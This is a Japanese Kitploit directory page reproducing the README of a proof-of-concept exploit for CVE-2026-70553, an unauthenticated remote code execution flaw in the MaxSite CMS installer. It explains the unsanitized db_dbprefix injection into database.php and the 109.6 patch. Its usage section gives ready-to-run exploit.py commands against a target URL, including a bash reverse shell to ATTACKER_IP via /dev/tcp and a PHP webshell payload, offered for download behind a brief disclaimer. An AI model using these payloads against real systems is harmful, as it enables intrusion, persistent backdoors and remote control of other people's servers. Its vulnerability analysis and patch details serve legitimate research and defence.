Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-70553-PoC — CVE-2026-70553の概念実証(PoC)エクスプロイト。MaxSite CMSのインストールエンドポイントを介してdatabase.phpに永続的なPHPインジェクションを実行し、未認証のリモートコード実行(RCE)を可能にします。 | Kitploit
ツール/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
ペイロード生成エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

CVE-2026-70553の概念実証(PoC)エクスプロイト。MaxSite CMSのインストールエンドポイントを介してdatabase.phpに永続的なPHPインジェクションを実行し、未認証のリモートコード実行(RCE)を可能にします。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
111ヶ月前未レビュー

CVE-2026-70553 - MaxSite CMS 認証なしRCE

CVE CVSS

CVE-2026-70553のProof-of-Concept: インストールエンドポイントを介してdatabase.phpに持続的なPHPコードインジェクションを行う、MaxSite CMSにおける認証なしリモートコード実行。


免責事項

このPoCは教育および許可されたセキュリティ研究目的のみを意図しています。著者は、このコードによって引き起こされる誤用や損害について一切責任を負いません。所有するシステム、または明示的な書面による許可を得たシステムに対してのみテストしてください。


脆弱性の概要

MaxSite CMS バージョン105.2から109.5には、インストールエンドポイントに重大な認証なしリモートコード実行の脆弱性が存在します。db_dbprefixパラメータはサニタイズなしでPHPコードに直接連結されるため、攻撃者はapplication/config/database.phpに任意のPHP文を注入できます。このファイルはすべてのリクエストでインクルードされるため、注入されたコードは持続的なRCEを達成します。


影響を受けるバージョン

  • MaxSite CMS 105.2 - 109.5
  • 修正版: 109.6 (2026-06-08)

技術的詳細

根本原因

install/installer/functions.php内のnewDatabase()関数は、database.phpの内容を構築します:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

エクスプロイトの仕組み

以下のようなペイロードを注入することで:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

生成されたdatabase.phpは以下のようになります:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

これにより文字列リテラルから抜け出し、任意のPHPコードを注入します。

パッチ (109.6)

この修正では、再インストールを防ぐためのチェックが追加されました:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

使用方法

インストール

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

基本的な使用方法

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

オプション

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

エクスプロイトの制約

重要: この脆弱性には、実世界のシナリオにおいて深刻な実用上の制限があります。

必要条件

  1. インストールエンドポイントにアクセス可能であること (/install/ディレクトリが削除されていない)
  2. データベーステーブルがまだ存在しないこと (新規インストールまたはデータベースがクリアされている)
    • newDatabase()関数はテーブルが存在しない場合にのみ呼び出される
    • これはinstall/installer/post.php内でcheckTableExists()によってチェックされる

ほとんどのサイトが脆弱ではない理由

  • 本番サイトはインストールを完了している → テーブルが存在する → newDatabase()は呼び出されない
  • /install/にアクセスできたとしても、テーブル存在チェックによって注入へのコードパスがブロックされる
  • 私たちの大規模スキャンでは、インストールエンドポイントにアクセス可能なサイトは約24%のみであり、既存のデータベーステーブルのため**実際に悪用可能だったのは0%**でした

実世界での悪用可能性

  • 理論上: Critical (CVSS 9.8)
  • 実際上: 非常に低い
  • 現実的なターゲット像:
    • インストールが途中で中断された環境
    • データベースが手動で削除されたがコードは残っている環境
    • 新しいテスト/開発インスタンス (本番ではない)

ローカルでの再現

管理された環境でこの脆弱性を検証するには:

脆弱性のある環境のセットアップ

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

インジェクションの検証

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

参照

  • CVE-2026-70553 - CVEレコード
  • NVDエントリ
  • VulnCheckアドバイザリ
  • MaxSite CMS GitHub
  • パッチコミット (109.6)

タイムライン

  • 2026-06-08: 修正版MaxSite CMS 109.6がリリース
  • 2026-08-04: CVE-2026-70553が公開
  • 2026-08-06: PoCが公開

クレジット

  • 発見: Amir Aliu & Enrik Mustafa (VulnCheck)
  • PoC開発: セキュリティ研究者
  • ベンダー: MaxSite CMS Team

ライセンス

このプロジェクトはMITライセンスの下で公開されています。詳細はLICENSEを参照してください。


注意: 常に責任ある開示を実践し、テスト前に適切な許可を取得してください。

ツールをダウンロード